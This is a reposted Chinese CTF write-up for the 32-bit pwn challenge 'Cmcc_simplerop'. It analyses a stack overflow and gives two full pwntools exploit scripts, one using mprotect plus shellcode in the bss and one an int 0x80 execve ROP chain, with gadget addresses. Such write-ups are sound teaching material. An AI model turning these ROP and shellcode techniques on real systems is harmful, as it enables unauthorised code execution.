CTF实战练习Cmcc_simplerop

admin 2022年2月20日19:28:20评论76 views字数 2335阅读7分47秒阅读模式

CTF实战练习Cmcc_simplerop

本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:N1co5in3



本题为除ret2libc外的两种getshell方式的展示:int80与mprotect改写权限。

学习了非常规栈位移的调试:在elf文件比较奇怪时,要用gdb进行位移调试。



题目复现


CTF实战练习Cmcc_simplerop


函数很多,没有打印函数的plt,无法ret2libc。

CTF实战练习Cmcc_simplerop
主函数可溢出:
CTF实战练习Cmcc_simplerop
存在mprotect,可以改变bss权限后,在bss写入shell代码。
CTF实战练习Cmcc_simplerop
存在int 0x80,可以调整寄存器利用中断执行sh。
CTF实战练习Cmcc_simplerop
因此本题有两种思路。




解题思路


方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。


方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。




调试过程



方法一

先找bss段位置。CTF实战练习Cmcc_simplerop
mprotect参数如下,实际操作时len取0x1000,addr要略比实际靠前,取0x80ef00,prot取二进制111,即为7。

CTF实战练习Cmcc_simplerop

执行完函数需要pop3执行后面的函数,都可以用。

CTF实战练习Cmcc_simplerop

read函数参数为0,bss地址,0x100。


方法二

int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。

CTF实战练习Cmcc_simplerop
CTF实战练习Cmcc_simplerop

此题栈比较奇怪,与ida不符,需要自己调试,下面是调试技术的展示。

CTF实战练习Cmcc_simplerop

CTF实战练习Cmcc_simplerop
CTF实战练习Cmcc_simplerop
gdb断点应该更直观。

得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。


CTF实战练习Cmcc_simplerop




Payload



方法一
from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50#pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850#int80_addr = 0x80493e1binsh_addr = 0x80eaf80mprotect_addr = 0x806d870#binsh_addr = 0x80eb584 payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)payload += p32(binsh_addr)  io.sendlineafter('it',payload)sleep(0.2) payload2 = asm(shellcraft.sh())io.sendline(payload2) io.interactive()

方法二
from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850pop_ebx = 0x80481c9int80_addr = 0x80493e1binsh_addr = 0x80eaf80#binsh_addr = 0x80eb584 payload = b'a' * 0x20  + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)io.sendline(payload)io.sendline(b'/bin/shx00') io.interactive()




未解决问题



未解决的问题1:法二中,网上payload设置binsh的地址,不能在本地调试到结果(远程却可以),报错“set_thread_area failed”,但binsh地址改为bss地址本地成功。

未解决的问题2:法二中,ecx,edx应该是可以缺省的,但我只pop_ebx就会报错“set_thread_area failed”。

希望有师傅可以交流解决上述问题!





CTF实战练习Cmcc_simplerop 


看雪ID:N1co5in3

https://bbs.pediy.com/user-home-945391.htm

*本文由看雪论坛 N1co5in3 原创,转载请注明来自看雪社区


CTF实战练习Cmcc_simplerop


# 往期推荐

1.一种将LLVM Pass集成到NDK中的通用方法

2.人工智能竞赛-房价预测

3.Windows PrintNightmare 漏洞复现分析

4.壳小白关于压缩壳的学习心得及基础实战练习

5.Windows平台下栈溢出漏洞学习笔记

6.GKCTF2021 KillerAid



CTF实战练习Cmcc_simplerop



CTF实战练习Cmcc_simplerop

球分享

CTF实战练习Cmcc_simplerop

球点赞

CTF实战练习Cmcc_simplerop

球在看



CTF实战练习Cmcc_simplerop

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):CTF实战练习Cmcc_simplerop

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月20日19:28:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF实战练习Cmcc_simplerophttp://cn-sec.com/archives/794339.html

发表评论

匿名网友 填写信息